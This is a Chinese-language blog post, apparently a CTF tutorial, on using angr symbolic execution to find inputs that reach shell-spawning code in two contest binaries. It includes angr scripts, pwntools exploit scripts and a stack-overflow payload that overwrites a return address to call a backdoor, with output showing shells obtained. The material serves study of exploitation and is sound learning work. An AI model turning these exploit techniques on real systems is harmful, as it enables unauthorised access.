原创

AUTO PWN

ref: https://angr.io/

ref: https://bbs.pediy.com/thread-266757.htm

介绍

目前,CTF的PWN题越来越难以PWN掉,漏洞的挖掘和利用正逐步由人工向自动化。本文主要介绍自动化挖掘的一些实例,来学习自动化挖掘。

然而,目前angr框架是个很不错的选择,angr是二进制分析的一个开源python框架。它采用符号执行技术,其可以通过分析程序来得到让特定代码区域执行的输入。使用符号执行分析一个程序时,该程序会使用符号值作为输入,而非一般执行程序时使用的具体值。在达到目标代码时,分析器可以得到相应的路径约束,然后通过约束求解器来得到可以触发目标代码的具体值。

开源地址: https://github.com/angr/angr

涉及题目附件找i0gan要。

安装angr

为了方便不与pwntools库引起冲突,我们采用拉取docker镜像的方式进行使用,当然也可以直接 pip install angr也可以。

docker pull angr/angr

在开始之前,我使用angr docker来运行scirpt,我编写了一个bash脚本来运行我们的angr脚本,如下所示,方便例1和例2使用。

#! /bin/sh
# Author: i0gan
# for starting docker angr
pwd=`pwd`
if [[ $1 < 2 ]];then
    echo "Usage angr script.py"
    exit
fi
script=$1
docker run -it -u angr --rm -v $pwd:/mnt -w /mnt angr/angr "/home/angr/.virtualenvs/angr/bin/python" "/mnt/$script" $2 $3

Usage:

./angr script.py

Example 1

来自2021红明谷杯总决赛

checksec:

Checksec file: pwn1
[*] '/run/media/i0gan/disk1/share/project/auto_pwn/pwn1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

运行情况

~/share/project/auto_pwn  ./pwn1                                                                                                 
asdf
input your passwd:
asdfasdf
asdf
input your passwd:

程序逻辑如下

int sub_804870E()
{
  int result; // eax
  char v1[16]; // [esp+Ch] [ebp-1Ch] BYREF
  int v2; // [esp+1Ch] [ebp-Ch]
​
  result = inputn();
  v2 = result;
  switch ( result )
  {
    case 1:
      puts("logging out...");
      result = ~dword_804A06C;
      dword_804A06C = ~dword_804A06C;
      break;
    case 2:
      if ( dword_804A06C )
        result = shell(); // shell函数
      else
        result = puts("please log in");
      break;
    case 0:
      puts("input your passwd:");
      result = sub_804859B((int)v1, 16); // 输入密码
      dword_804A06C = 1; // 正确之后,设置dword_804A06C为1,才可以获得shell
      break;
  }
  return result;
}

上面,我们不知道密码是什么,我们也不管它是什么,我们只要能拿到shell就可以,那么如何让程序流跳到shell函数呢?angr可以方便的来实现。

下面就是shell函数的地址,只要能使程序流执行到0x08048783,我们就可以拿到shell。

.text:0804877A loc_804877A:                            ; CODE XREF: sub_804870E+19↑j
.text:0804877A                 mov     eax, ds:dword_804A06C
.text:0804877F                 test    eax, eax
.text:08048781                 jz      short loc_804878A
.text:08048783                 call    shell
.text:08048788                 jmp     short loc_804879A

好了,我们只要使程序流跑到我们的目标地址,再把输入数据给dump出来,dump出来的数据也就是我们的payload数据了。

angr脚本pwn1_angr.py 如下

import angr
from binascii import b2a_hex
import logging
import sys
#logging.getLogger('angr').setLevel('INFO')
logging.getLogger('angr').setLevel('CRITICAL')
​
def angr_main():
    pj = angr.Project('./pwn1')
    state = pj.factory.entry_state()
    simgr = pj.factory.simgr(state)
    simgr.explore(find = 0x08048783) # call shell
    p = simgr.found[0].posix.dumps(0)
    print(b2a_hex(p).decode(), end='')
angr_main()

运行:

./angr pwn1_angr.py 
310a320a

这里我采用16进制方式打印出数据的,payload就是'\x31\x0a\x32\x0a'

测试:

./pwn1
1
logging out...
2
sh-5.1$ whoami
i0gan

好了,现在我们得到了拿到shell的payload,那么我们怎么实现自动化去挖掘和pwn掉它呢?

我们只需要让他先本地自动挖掘之后,让他自动打远程,如下。

pwn1_exp.py

from pwn import *
import os
from binascii import a2b_hex
​
io = process('./pwn1')
print('Solving...')
p = os.popen('./angr pwn1_angr.py').read()
print('Found payload: [' + p + ']')
p = a2b_hex(p)
io.send(p)
print('Get shell')
io.sendline('whoami')
io.interactive()

运行pwn1_exp.py脚本

python pwn1_exp.py
[+] Starting local process './pwn1': pid 18152
Solving...
Found payload: [310a320a]
Get shell
[*] Switching to interactive mode
logging out...
i0gan

通过以上实验,我们也可以自己来改进,我们是通过手动分析shell的函数在哪里,当然我们也可以让他自动找这个函数。

这个例子比较简单的,但感觉比手动分析的没什么两样,下面我们来个有用的。

Example 2

来自第六届全国网络空间安全技术大赛

ida打开之后,对main函数进行F5,发现IDA报下面错误

Decompilation failure:
8048764: too big function
Please refer to the manual to find appropriate actions

采用汇编查看图报下面错误

The graph is too big (more than 1000 nodes) to be displayed on the screen.
Switching to text mode.
(you can change this limit in the graph options dialog)

这是由于程序函数中的代码分支块太多,IDA没法生成图和伪代码来利于我们分析。

我截一部分有用代码如下:

​
.text:080487C6
.text:080487C6 loc_80487C6:                            ; CODE XREF: main+51↑j
.text:080487C6                 cmp     [ebp+var_C], 13h
.text:080487CA                 jle     short loc_80487B7
.text:080487CC                 lea     eax, [ebp+s2]
.text:080487CF                 mov     dword ptr [eax], 4A494355h
.text:080487D5                 mov     dword ptr [eax+4], 49525545h
.text:080487DC                 sub     esp, 0Ch
.text:080487DF                 push    offset aEnterThePasswo_0 ; "Enter the password: "
.text:080487E4                 call    _puts
.text:080487E9                 add     esp, 10h
.text:080487EC                 sub     esp, 8
.text:080487EF                 lea     eax, [ebp+s1]
.text:080487F2                 push    eax
.text:080487F3                 push    offset a8s      ; "%8s"
.text:080487F8                 call    _scanf // 输入8个字符的数据
.text:080487FD                 add     esp, 10h
.text:08048800                 mov     [ebp+var_10], 0
.text:08048807                 jmp     short loc_8048836

输入8个字符之后,就跳到了函数代码分支块中不断的跳来跳去的。

.text:08048836 loc_8048836:                            ; CODE XREF: main+A3↑j
.text:08048836                 cmp     [ebp+var_10], 7
.text:0804883A                 jle     short loc_8048809
.text:0804883C                 lea     eax, [ebp+s1]
.text:0804883F                 add     eax, 1
.text:08048842                 movzx   eax, byte ptr [eax]
.text:08048845                 movzx   eax, al
.text:08048848                 and     eax, 10h
.text:0804884B                 test    eax, eax
.text:0804884D                 setnz   dl
.text:08048850                 lea     eax, [ebp+s2]
.text:08048853                 add     eax, 1
.text:08048856                 movzx   eax, byte ptr [eax]
.text:08048859                 movzx   eax, al
.text:0804885C                 and     eax, 10h
.text:0804885F                 test    eax, eax
.text:08048861                 setnz   al
.text:08048864                 xor     eax, edx
.text:08048866                 test    al, al
.text:08048868                 jz      loc_808E7DC
.text:0804886E                 call    aaz
.text:08048873                 lea     eax, [ebp+s1]
....

然而发现有个函数有堆栈溢出

int login_again()
{
  char s1[72]; // [esp+0h] [ebp-48h] BYREF
​
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  setbuf(stdin, 0);
  puts("Enter the password again: ");
  scanf("%s", s1);
  if ( !strcmp(s1, "deadbeef") )
    puts("I think you can't get shell");
  else
    puts("Error.");
  return 0;
}

且有后门函数

int get_sh()
{
  return system("/bin/sh");
}

若我们输入某些数据,能够使程序流执行到该函数,那么我们就可以利用该漏洞来获得shell,当然我们也可以直接使程序流跳到get_sh函数,但分支块中是没有用到get_sh函数的,而login_again在 ass函数中进行调用的。

int __cdecl aas(const char *s1, const char *s2)
{
  int result; // eax
​
  if ( should_succeed && !strncmp(s1, s2, 8u) )
    result = login_again();                     // vul
  else
    result = puts("Error.");
  return result;
}

ass函数也是在代码分支块中进行调用,所以这类似于fuzz,fuzz有关系的路径比没关系的要容易得多,我们就使程序流到达login_again之后,再利用堆栈溢出漏洞调用后门函数即可。

与例1差不多,只需要让angr引擎找到一个输入的数据满足程序流到达login_again函数即可。

编写angr脚本如下:

auto_angr.py

import angr
from binascii import b2a_hex
import logging
import sys
logging.getLogger('angr').setLevel('INFO')
#logging.getLogger('angr').setLevel('CRITICAL')
​
def angr_main():
    pj = angr.Project('./auto')
    state = pj.factory.entry_state()
    simgr = pj.factory.simgr(state)
    simgr.explore(find = 0x0804867E) # call login_again
    p = simgr.found[0].posix.dumps(0)
    print(b2a_hex(p).decode(), end='')
angr_main()
​

这里还是借助之前我们写的一个angr脚本。

运行如下:

./angr auto_angr.py 
555859554b564e5a

那么我们得到的payload就是'\x55\x58\x59\x55\x4b\x56\x4e\x5a',这个输入能够使我们的程序流执行到login_again函数,之后呢我们就采用简单的堆栈溢出达到获得shell了。

#!/usr/bin/env python
#-*- coding:utf-8 -*-
#Author: i0gan
from pwn import *
context.log_level = 'debug'
#io = remote('81.70.195.166', 10001)
io = process('./auto')
payload = '\x55\x58\x59\x55\x4b\x56\x4e\x5a'
io.send(payload)
​
payload = b'\x00' * 0x48 +  p32(0x0) + p32(0x08048665) # 修改返回地址到get_sh函数
io.sendline(payload)
io.interactive()

运行如下

[+] Starting local process './auto' argv=[b'./auto'] : pid 6957
[DEBUG] Sent 0x8 bytes:
    b'UXYUKVNZ'
[DEBUG] Sent 0x51 bytes:
    00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000040  00 00 00 00  00 00 00 00  00 00 00 00  65 86 04 08  │····│····│····│e···│
    00000050  0a                                                  │·│
    00000051
[*] Switching to interactive mode
[DEBUG] Received 0x37 bytes:
    b'Enter the password: \n'
    b'Enter the password again: \n'
    b'Error.\n'
Enter the password: 
Enter the password again: 
Error.
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x6 bytes:
    b'i0gan\n'
i0gan
​

总结

通过以上两个例子,我们没有去分析输入之后程序是怎么处理该数据的,我们只关心结果,面对例子2,手动分析和调试起来极其困难,程序太大了,人工分析起来很困难,这时候,借助AUTO PWN的手段,很方便我们能够找的payload,我这个惨杂了手工分析的一些参数,这只是方便于理解,当然也可以开发出自己的一套自动化系统,自动去识别程序逻辑,完成自动构建payload,这也是今后需要不断提升和研究的。目前很多pwn也需要该手段,比如xctf中start ctf babypac可以采用angr引擎很方便的找到触发漏洞的payload,那个是个aarch架构的pwn,angr引擎是跨架构的,不影响angr来实现符号执行分析,还有vm pwn这些,若懒得分析程序逻辑,只想快速找到每个opcode对应什么分支块,采用该技术也是Perfect!。

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 从一道mips题目学习搭建mips环境及ROP

    本文以一道简单的mips pwn题,讲解mips环境搭建及mips ROP的构造。这道题目是安洵杯的一道pwn题,题目链接https://github.com/...

    用户2202688
  • 快速搭建一个Linux内核调试环境

    (1)git clone 内核,在git checkout某一个分支:git clone https://github.com/torvalds/linux.g...

    De4dCr0w
  • ctfshow-PWN刷题

    ​ 这个题目是今天刚做出来的,昨天刚学的libc,刚好刷到这道题目,可以看到这个题目中没有system和/bin/sh了,但是看到了puts,直接...

    ly0n
  • postgresql数据库利用方式

    PostgreSQL 是一个自由的对象-关系数据库服务器(数据库管理系统),本文对于postgresql的使用及利用做个总结备份。

    信安之路
  • 啥是佩奇?PWN解题技能全配齐!

    CTF的PWN题想必是很多小伙伴心里的痛,大多小伙伴不知道PWN该如何入门,不知道该如何系统性学习,本期开始,斗哥将输出PWN的一系列文章,手把手带小伙伴们入坑...

    漏斗社区
  • BUUCTF-刷题记录

    使用ida查看伪代码可以看到这个get_flag函数要求传入的两个参数必须为814536271和425138641即可直接读取flag

    偏有宸机
  • 这货不是电源:硬件渗透测试平台 – Power Pwn

    Power Pwn是由美国国防部高级计划研究局(DARPA)牵头开发的硬件集成化渗透测试平台,其目标是帮助企业或个人发现安全漏洞。 Power Pwn外形与普通...

    FB客服
  • 如何安全快速地部署多道 ctf pwn 比赛题目

    一开始接触 pwn 的时候,我们要么本地调试,要么自己用 socat 将程序启动起来远程调试

    信安之路
  • 深思杯PWN复现(一)

    https://pan.baidu.com/s/1fbtezOCoB2GXf2psd52wzA

    yichen
  • ROP_emporium

    ​ 32位的程序执行完之后要有一个返回地址,可以随便给,64位就不行了,拼接payload 加一个返回地址就OK

    ly0n
  • ROP Emporium writeup

    在 ret2win 这个函数里面有个后门,输出了 flag.txt,地址是:0x8048659,只要把返回地址覆盖成这个就可以了

    yichen
  • CTF实战30 CTF题目练习和讲解五

    该培训中提及的技术只适用于合法CTF比赛和有合法授权的渗透测试,请勿用于其他非法用途,如用作其他非法用途与本文作者无关

    用户1631416
  • PwnAdventure3:一款专为黑客而开发易受攻击的MMORPG游戏

    Pwn Adventure 3的游戏场景设置在一座美丽的岛屿上,在这个岛上任何情况都有可能发生,例如飞行,无限游戏虚拟币等。

    FB客服
  • 真相只有一个 !God.Game 代币被盗事件原理分析

    8月22日中午,区块链游戏God.Game宣布游戏内所有代币被攻击者卷走,项目方筹备两个月,游戏却在运营不久后迅速夭折。

    区块链大本营
  • [送书]从CTF Pwn的著作中悟透各类漏洞利用技术

    CTF(Capture The Flag)中文一般译作夺旗赛,通俗来讲,就是模拟“黑客”所使用的技术、工具、方法等手段发展出来的网络安全竞赛。近年,国内外各类高...

    天钧
  • 恭喜ChaMd5荣获Real World CTF第九名

    12月1-2日,在中国郑州,由长亭科技主办的首届Real World国际CTF网络安全大赛线下总决赛大幕开启。

    ChaMd5安全团队
  • 巅峰极客 第二场 WriteUp

    1 返回地址覆盖为printf(func_got)/write(1,func_got,4)来leak libc,并将printf/write返回地址设为game...

    ChaMd5安全团队
  • CTF_Show-Pwn

    偏有宸机
  • 【Vulnhub】bossplayersCTF与两道PWN

    扫不到 IP 可以参考之前的文章:Vulnhub分配IP问题 | w4sp-lab环境搭建

    yichen

扫码关注云+社区

领取腾讯云代金券